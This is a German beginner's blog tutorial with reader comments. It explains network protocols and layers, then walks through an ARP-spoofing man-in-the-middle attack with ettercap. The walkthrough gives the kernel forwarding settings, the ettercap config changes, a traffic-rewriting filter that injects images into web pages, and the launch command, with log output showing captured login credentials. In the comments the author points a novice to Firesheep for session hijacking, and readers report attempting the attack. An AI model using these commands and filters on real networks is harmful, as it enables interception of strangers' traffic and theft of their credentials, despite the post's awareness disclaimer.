Hacken für Anfänger

closeDieser Beitrag wurde vor mehr als drei Monaten veröffentlicht. Bedenke bitte, dass die hier angebotene Information nicht mehr aktuell und gültig sein könnte. Informiere dich daher bitte auch an anderer Stelle über dieses Thema. Sollten sich neue Informationen ergeben haben, so kannst du mich auch gerne auf diese über einen Kommentar hinweisen. Vielen Dank!

Dieses HowTo zeigt wie einfach es ist einen Hack durchzuführen, wenn du mit deinem Laptop / PC einmal im lokalen Netz (LAN) bist. Eine kurze Einführung in die Thematik bevor es losgeht, wir wollen schließlich auch was lernen, :-) dazu versuche ich die Kommunikation zwischen zwei PCs möglichst einfach zu erklären und falls du etwas nicht verstehst, dann lese erst-einmal die folgende Erklärung bis zum Ende. Falls du dann noch fragen hast, kannst du diese unten per Kommentar stellen.


1.) Erklärung


1.1.) Am Anfang ist immer eine Information z.B. diese Webseite und damit Sender und Empfänge sich verstehen können, wurde vorher eine Sprache / Verfahren festgelegt, wie man diese Information darstellt. Das ist wie im wirklichen Leben, man kann nicht jede Information gleich behandel, es gibt wichtige, sensible Informationen und dann auch wieder irgendwelche Floskeln (Guten Tag!) die nicht sonderlich wichtig sind.


HTTP: Bei dieses Protokoll möchten wir, dass die Nachricht auch wirklich beim Empfänger ankommen. Es ist wie eine normale Unterhaltung zwischen zwei Personen, wenn der Empfänger etwas nicht verstanden hat (die Daten nicht korrekt angekommen sind), fragt er noch einmal nach. – Port 80


HTTPS: Dieses Protokoll ist für die bereits erwähnten sensiblen Daten gedacht, man kann sich dies auch als eine Unterhaltung zwischen zwei Personen vorstellen, jedoch mit dem Unterschied, dass die beiden sich vorher auf eine nur für Sie verständliche Kommunikation vereinbart haben. – Port 443


SMTP: Mithilfe von diesem Protokoll verschickt man E-Mails. Man kann sich das vorstellen, als ob man bei der Poststelle einen Brief abgibt, welcher dann erst-einmal gesammelt, verarbeitet und dann verschickt wird. Als erstes authentifiziert man sich und danach gibt man den kompletten Brief (E-Mail) am Schalter ab. – Port 25


Wenn du das Prinzip von SMTP selber testen möchtest, gehst du wie folgt vor.

auf deinem PC:

telnet "server" 25

HELO “server”

MAIL FROM:test@server.de

RCPT TO:test2@server2.de


Nun kannst du die E-Mail schrieben, mit einem “.” beendest du diese Eingabe und die Mail wird verschickt. Dies funktioniert natürlich nicht auf allen Servern, kannst es ja mal mit…

nc -v suckup.de 25

… ausprobieren, man erstelle Regel um zu verhindern, dass jeder einfach so E-Mails versenden kann und richtet eine Authentifizierung ein. Außerdem kannst du mit den hier genannten Programmen nicht nur mit den Port 25 (SMTP) verbinden, du kannst dich auch mit einem Web-Server (Port 80) und so weiter verbinden.


nc -v suckup.de 80



Mit dem folgendem Befehl, kannst du dir einige reservierte Protokolle + Ports ansehen.

cat /etc/protocols


Einen “Port“, kann man sich nun als Fernster an einem Haus (Computer) vorstellen, somit wäre unsere IP-Adresse, unsere Hausnummer und um mit unterschiedlichen Personen (Diensten) zu kommunizieren, klopfen wir an unterschiedlichen Fenstern. Die meisten Ports werden jedoch nicht reagieren, da sich in dem entsprechendem Raum niemand befindet und daher die Rollläden runtergelassen wurden (der Port geschlossen ist).


Wenn du das Prinzip von Ports selber testen möchtest, gehst du wie folgt vor.

1.) auf deinem PC: stellst du auf einem Port (3333) eine CD zur Verfügung

cat backup.iso | nc -l 3333

2.) und auf einen anderen PC im Netz: kann du die CD (ISO) nun empfangen

nc 192.168.0.1 3333 > backup.iso

-> weitere Infos zu nc


Somit gibt es noch etliche weitere Beispiele, wo Anwendungen durch ein bestimmtes Protokoll miteinander kommunizieren und wir hätten bereits die obersten Schichten 7 & 6 & 5 – die Anwendungs- & Darstellungs- & Sitzungsschicht die sogenannten “Anwendungsorientierten Schichten” grob erklärt. (wobei die letzte ein abgebrochenes Gespräch wieder an einer Vorherigen stelle beginnen kann… nur um dazu auch ein paar Wort verloren zu haben)


1.2.) Als nächstes müssen wir uns Vorstellen, dass diese ‘Sätze’ welche die Personen miteinander sprechen (also die Daten, welche Sie austauschen) nicht Satz für Satz gesprochen (übertragen) werden, sondern jedes Wort wird einzeln gesprochen und mit einer laufenden Nummer versehen.


z.B.:
Sender schickt folgendes Satz ->
1.Hallo 2.du 3.da, 4.was 5.geht?


Daten kommen durcheinander beim Empfänger an ->
4.was 2.du 1:Hallo 3.da 5.geht?


Und der Empfänger setzt den Satz wieder zusammen ->
Hallo du da, was geht?


Somit kann man die einzelnen Wörter auf verschiedenen Wegen zum Empfänger schicken und diese können zu verschiedenen Zeiten ankommen, der Empfänger versteht die Nachricht trotzdem. Außerdem kann es manchmal nötig sein, jemanden auf ein Gespräch hinzuweisen (Verbindung aufbauen) indem man z.B. dessen Hand schüttelt und der gegenüber nun weiß, dass nun die Kommunikation folgt und beim beendigen der selbigen, diesen Vorgang wiederholt. Falls man in diesem Fall etwas nicht verstanden hat (Daten auf dem Weg verloren gingen) kann man einfach noch einmal Nachfragen. (Drei-Wege-HandschlagTCP)


Es  gibt jedoch auch Situationen, wo es vorkommt, dass die Kommunikation bei einer “Frage” <-> “Antwort” bleib,. zum Beispiel die Frage nach dem Wetter. Und wenn man von seinem gegenüber keine Antwort bekommt, dann halt nicht ;-) und man fragt noch einmal. Dieses Prinzip wendet man z.B. bei der Auflösung von einer IP zum Hostnamen (DNS) an, um nicht zu viel Overhead (zu viel Aufwand, für eine so kurze Antwort) zu erzeugen. – (UDP)


Somit haben wir nun bereits die 4 Schicht – die Transportschicht erklärt.


1.3.) Stellen wir uns weiter vor, dass wir nicht direkt vor unserm Gesprächspartner stehen, sondern dieser weit weg ist, daher schicken wir die einzelnen Wörter nun per Post und verpacken die “Sätze” (Daten) -> “Wörter” (Segmente) -> in Kisten (Paketen). Diese Kisten wenden nun über mehrere Wege von verschiedenen Poststellen (Routern) zum Ziel geliefert.


Wenn du das Prinzip von IP-Adressen selber testen möchtest, gehst du wie folgt vor.

Als erstes schauen wir und unsere eigene IP-Adresse an.

ifconfig

Beispiel: Ausgabe

[...]
Link encap:Ethernet  Hardware Adresse 00:25:56:37:5b:96  
inet Adresse:192.168.2.103  Bcast:192.168.2.255  Maske:255.255.255.0
[...]

Hier können wir nun sehr viele hilfreiche Infos finden:

Hardware Adresse: deine (theoretisch) eindeutige MAC-Adresse

inter Adresse: deine IP-Adresse

Bcast: die letzte IP-Adresse in diesem Netzwerk

Mask: die Aufteilung von deinem Netz


In meinem Beispiel habe ich selber die IP-Adresse “192.168.2.103″ und die Netzmaske “255.255.255.0″ daraus ergibt sich die Broadcast-Adresse, indem man die einzelnen Zahlen Binär darstellt, das heißt:

00000001 = 1

00000010 = 2

00000011 = 3

[...]

11000000 10101000 00000010 01100111

+ 11111111 11111111 11111111 00000000

————————

11000000 10101000 00000010 00000000


Das heißt, wenn wir die Netzmaske Binär darstellen, sieht diese wie folgt aus:

255.255.255.0 -> 11111111 11111111 11111111 | 00000000

Und das wiederum heißt, dass wir 8 mal die 0 (Null) als unseren Hostanteil haben, der Rest kann weiter aufgeteilt werden, um so mehrer Netze zu schaffen – (Supernetting)

2⁸ = 256 – 1 (Braodcast) – 1 (Netzadresse)

254 -> Hostanteil

Man kann nun den Hostanteil auch anders darstellen.

24 x I -> /24


Mit diesen Infos können wir nun mithilfe von “nmap” das Netz nach aktiven PCs durchsuchen.

nmap -v -sP 192.168.2.255/24


Und ggf. auch nach offenen Ports im Netz suchen.

nmap -O -sS -sV -p 20-23,80,443 '192.168.2.*'


Und somit auch die 3 Schicht – die Vermittlungschicht abgeschlossen.


1.4.) Die Pakete kommen nun alle beim Hausmeister (Switch) an, dieser schreit nun durch das Treppenhaus, (Broadcast) wo Familie Müller wohnt (ARP) sollte sich nun zufällig ein böser Nachbar melden (ARP-Spoofing) und die Pakete annehmen, aufmachen, verändern, neu einpacken und an den ursprünglichen Empfänger weiterreichen, ohne das dieser davon etwas mitbekommt, haben wir eine sogenannte “Man In The Middle” Taktik angewandt.


Und somit die 2 Schicht – die Sicherungsschicht ausgetrickst.


1.5.) Vor nicht alt so langer Zeit, wurden keine Hausmeister eingesetzt, die waren zu teuer, ;-) da musste der arme Postbote (Hub) alle Pakete an alle Mieter im Haus ausliefern. (An alle Computer im Netz alle Pakete schicken.) Man kann sich vorstellen, was das für ein Durcheinander war und das dies zu Problemen führte.


Und somit auch die 1 Schicht – die Bitübertragungsschicht angesprochen.



Kommen wir zum Punkt. Brauchte man in älteren Netzwerken, deren PCs über einen Hub miteinander verbunden waren, somit nur ein Sniffer-Programm z.B. Ethereal, um den gesamten Datenverkehr mitzulesen. Muss man heute meist “ARP-Spoofing” und somit eine “Man In The Middle” Methode anwenden, um an diese Daten zu kommen.


Angriff von innen

2.) System vorbereiten


Welches Interface wird verwendet?

mein_interface="wlan0"
folgende Befehle ausführen
echo 1 > /proc/sys/net/ipv4/ip_forward
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
echo 1 > /proc/sys/net/ipv4/conf/default/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/default/forwarding
echo 1 > /proc/sys/net/ipv4/conf/default/log_martians
echo 1 > /proc/sys/net/ipv4/conf/default/rp_filter
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/proxy_arp
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/forwarding
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/log_martians
echo 1 > /proc/sys/net/ipv4/conf/$mein_interface/rp_filter
Nun installieren wie folgendes Programm: ettercap
aptitude install ettercap-common ettercap
Und passen dessen Konfiguration ein wenig an…
vim /etc/eppercap
…ec_uid & ec_gid auf 0 stellen…
[...]
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
[...]
…und # vor den iptables-Regeln entfernen…
[...]
# if you use iptables:
redir_command_on = “iptables -t nat -A PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
redir_command_off = “iptables -t nat -D PREROUTING -i %iface -p tcp –dport %port -j REDIRECT –to-port %rport”
[...]
…nun wechseln wir in folgendes Verzeichnis…
cd /usr/share/ettercap
(ggf. eigene Firewall ausschalten)
….und erstellen einen neuen Filter (neue Datei), welcher in “img”-Tag von HTML Dateien, welche per TCP von Port 80 verschickt wurden, ersetzt….
vim filter.pic
Inhalt:
if (ip.proto == TCP && tcp.dst == 80) {
        if (search(DATA.data, "Accept-Encoding")) {
                replace("Accept-Encoding", "Accept-Rubbish!");
                msg("zapped Accept-Encoding!\n");
        }
}

if (ip.proto == TCP && tcp.src == 80) {
        replace("img src=", "img src=\"http://suckup.de/lars.png\" ");
        replace("IMG SRC=", "img src=\"http://suckup.de/lars.png\" ");
}
…nun übersetzten wir den neuen Filter…
etterfilter filter.pic -o filter.ef
…und starten das Programm…

3.) Hack durchführen

sudo ettercap -T -q -F filter.ef -M arp:remote /$IP/ -P autoadd
[...]
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
HTTP : 217.188.35.145:443 -> USER: ******@web.de  PASS: *******  INFO: http://www.studivz.net/
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
zapped Accept-Encoding!
[...]
Habe die Zugangsdaten in diesem Beispiel durch “*” ersetzt, in deinem Log stehen diese dann im Klartext. :-)
Bild-Fehler
Dies soll jedoch keineswegs eine Anleitung sein ein “böser” Hacker zu werden, sondern ich wollte verdeutlichen, wie einfach es ist einen solchen Hack durchzuführen und ggf. an sensible Daten zu kommen. Daher, solltest du solche oder ähnliche Fehlermeldungen im Browser sehen, solltest du sehr vorsichtig sein.
SSL-Fehler
Und dir ggf. folgendes Programm (auch für Windows verfügbar) installieren. -> XArp <-
Wer mehr Infos zu diesem Thema sucht, sollte sich den folgenden Artikel -> www.heise.de/security/artikel/Angriff-von-innen <- durchlesen und sich folgende PDF-Datei herunterladen -> pi1.informatik.uni-mannheim.de/filepool/teaching/sicherheit-2006/ITS_20061128.pdf <-
  • icksdeh

    hab mal ne frage zu diesen kästchen wo immer so befehle oder so drinstehen wie “”telnet “server” 25″” ,wo muss ich die eingeben ?? xD

  • http://suckup.de/ Lars Moelleken

    Linux -> Shell -> xD

  • icksdeh

    mhmmm……
    hab aber win statt linux xD

  • http://suckup.de/ Lars Moelleken

    … dann schau dir mal “http://codebutler.github.com/firesheep/” an, damit kannst du zwar keine SSL-Verschlüsselung über deinen PC umleiten, aber du kannst ganz einfach “HTTP session hijacking” betreiben…

    … und wenn du etwas mehr über Netzwerke lernen möchtet schaust du dir “http://www.wireshark.org/download.html” – Wireshark (engl. „wire“: Draht, Kabel; „shark“: Hai; alte Bezeichnung: Ethereal) ist ein freies Programm zur Analyse von Netzwerk-Kommunikationsverbindungen („Sniffer“). – Wiki :-)

  • icksdeh

    dankee ^^

  • Test

    sobald ich versuche den befehl auszuführen

    echo 1 > /proc/sys/net/ipv4/ip_forward

    kommte diese fehlermeldung

    bash: /proc/sys/net/ipv4/ip_forward: Keine Berechtigung

    was kann ich tun ? ^^

  • http://suckup.de/ Lars Moelleken

    wenn du keine Berechtigung hast, solltest du dir erst-einmal Berechtigung auf deinem eigenen PC verschaffen -> http://lmgtfy.com/?q=root+linux

  • Test

    so habe dein tutorial durchgearbeitet und es gab keine probleme ! =) (habs unter ubuntu gemacht)

    nachdem ich den den filter übersetzt habe habe ich deinen “hackbefehl” ausgeführt

    allerdings frage ich mich wo jetzt meine logdatei ist mit den daten ? bzw kann ich sobald ich den befehl ausgefürht habe mir host und connetion listen anzeigen lassen, in denen steht aber meist nix drin.

    was nun ?

  • Bla

    Hey bei mir funktioniert alles halbwegs.
    er schreibt immer zapped Accept-Encoding!

    aber es kommt nie zur ausgabe der sensiblen daten =(

  • Light

    Hey ich hab jetzt nicht so so viel Erfahrung aber heißt das nicht “ipconfig” stat “ifconfig” ??

  • http://suckup.de/ Lars Moelleken

    … bei Linux -> ifconfig | Windows -> ipconfig

  • Light

    aso thx und ist das egal was man hat weil ich hab ihrgentwie keinen richtigen Winkey oder so der ist kopiert oder so kp … oder ist das egal

  • http://suckup.de/ Lars Moelleken

    … ich weiß leider nicht genau wovon du redest?!? Aber in diesem Beitrag hab ich Ubuntu (Linux) verwendet, falls du das wissen wolltest. :-)

  • Light

    also deine Anleitung bing mir nix weil ich win benutze oder versteh ich das falsch …

  • http://suckup.de/ Lars Moelleken

    installiere dir einfach Ubuntu … ;-) zudem die Erklärungen zu Beginn (relativ) allgemein gehalten sind :-)

  • Light

    aso OK thx :)) die seite ist echt gut mein kompliment für die seite

  • Light

    ich versteh das mit mein interface nicht wo finde ich das denn?

  • http://suckup.de/ Lars Moelleken

    http://de.wikipedia.org/wiki/Netzwerkkarte -> Netzwerkkarte (auch NIC für engl. Network Interface Card) -> “ifconfig” zeigt dir deine Interface / Netzwerkkarten an

  • Light

    so hab mir dieses Ubuntu geholt hab das entweder falsch isterliert oder bin zu dumm und das zu verwenden ich komm mit dem nicht klar kp was ich da jetzt machen muss/soll

  • Light

    Hey hab wir was gefunden was ich nicht weg krieg könnte mir einer helfen denn weg zu bekommen (hab in mit CCleaner aufgespürt und wollte ihn damit auch löschen hat nicht geklappt bitte helft mir hier ist ER:
    Ungenutzte Datei-Endungen {80b8c23c-16e0-4cd8-bbc3-cecec9a78b79} HKCR{80b8c23c-16e0-4cd8-bbc3-cecec9a78b79}

  • http://suckup.de/ Lars Moelleken

    Windows spezifische Fragen kannst du am besten im Winfuture-Forum stellen -> http://www.winfuture-forum.de/

  • Light

    und das mit Ubuntu?

  • Ubuntufa

    Werde ersterinmal erwachsen und lerne einen Computer zu benutzen

  • Night

    Ich hab das Prob: wo ist die hostsliste?
    wenn ich denn “hackbefehl” ausführe steht da nur:

    FATAL: ARP poisoning needs a non Empty Hosts List:!

    was tun?

  • http://suckup.de Voku


    Night:

    Ich hab das Prob: wo ist die hostsliste? wenn ich denn “hackbefehl” ausführe steht da nur:FATAL: ARP poisoning needs a non Empty Hosts List:!was tun?

    Eine ARP-List wird automatisch erstellt, sobald weitere Computer im Netzwerk aktiv sind… ggf. die Firewall(s) überprüfen, ob Daten dort gestoppt werden?!?

  • D3u53xM4ch1n4

    Die Anleitung ist ziemlich ungenau, du gehst kaum auf den Code ein, sagst einfach nur, dass man das man den Code so eingeben soll, fertig. Liegt vielleicht daran, dass dein Tutorial nur eine deutsche Übersetzung eines guten Ettercap-Tutorials ist.

    Naja wie dem auch sei, am schlimmsten finde ich eigentlich nur, dass du, wie eingangs bereits erwähnt, kein Stück auf den Code eingehst.
    Zum Beispiel sorgt dein toller Filter nur dafür, dass dem Opfer direkt klar wird, dass das Netzwerk gerade gesnifft wird (dadurch, dass die meisten Bilder durch diesen nicht gerade schön anzusehenden Kopf ersetzt werden).

    Auch könntest du erwähnen, dass das Interface nicht immer “wlan0″ ist, sondern bei Leuten die über LAN ins Netz gehen “eth0″.

    Naja jedenfalls solltest du das Tutorial nochmal überarbeiten und dabei schreiben, dass der Filter nicht gerade nützlich ist, sondern mehr eine Spielerei. Oder schreib dazu, dass man mit dem Filter noch einiges mehr machen kann, als Leute verarschen, indem man ihnen nen Schädel zeigt, statt den normalen Bildern. (möglich wäre z.B. auch, dass man Videos abfängt und diese durch ein anderes ersetzt, etc.)

    • http://suckup.de/about voku

      Ich wollte hier ein paar Grundlagen vermitteln und keine “copy&past”-Anleitung schreiben, welche Passwörter aus dem Netzwerk abfängt!

      • D3u53xM4ch1n4

        Aber genau das ist es geworden. Du erklärst nicht, warum du welchen Code ausführst, was die Syntax der Befehle ist, was der Befehl bringt, etc.

        Ich sag ja nicht, dass deine Arbeit komplett für die Katz’ ist, ich wollte dich nur darauf hinweisen, dass du für ein Tutorial etwas zu wenig auf die Materie eingehst. :)

        MfG

  • Filiz

    hallo,ich brauche ganz dringend hilfe,mein pc wird seid 2 wochen angegriffen von heckern,….mein norton programm zeigt mir sämtliche namen von virusen an,ich hab nicht große ahnung von meinem Rechner,hab windows vista,möchte aber irgendwie denen den zugriff stoppen,kann mir irgend jemand helfen? biiiiittttteeee :(

  • http://suckup.de/about voku


    Filiz:

    hallo,ich brauche ganz dringend hilfe,mein pc wird seid 2 wochen angegriffen von heckern,….mein norton programm zeigt mir sämtliche namen von virusen an,ich hab nicht große ahnung von meinem Rechner,hab windows vista,möchte aber irgendwie denen den zugriff stoppen,kann mir irgend jemand helfen? biiiiittttteeee

    erster Fehler: Windows Vista
    zweiter Fehler: Norton
    dritter Fehler: Virus != Hacken

    Wenn dein System einmal infiziert ist, würde ich das System neu installieren, falls irgendwelche sicherheitsrelevanten Daten darüber bearbeitet werden! Falls nicht, kannst du z.B. “Avira AntiVir Rescue System” zum desinfizieren ;) ausprobieren. -> http://www.avira.com/de/support-download-avira-antivir-rescue-system

  • http://www.anonymouse.org/ cleaner1.1

    Sehr schön. wollte nur mal Respekt sagen denn man liest So viel Scheisse den ganzen Tag über dieses Thema das dass hier mal gut tat dennoch solltest du vorsichtig sein sowie Herr Mann ne Schusswaffe zu geben das ist genauso spannend.

  • AntiVirus

    Hi, also erstmal ne dickes Top !!! Top Website, und genau sowas wie diese Seite wollte ich auch anfangen mir aufzubauen…

    Wenn du Hilfe brauchst, für kleinere Arbeiten oder private Projekte usw… würde ick mich über ne E-mail sehr freuen. ;)

    Ansonsten weiter !!! ;)

    Ps: Amd hält ihre leistungsstarken Prozessoren bewusst zurück, damit Intel nicht der Wirtschafftskriese verfällt.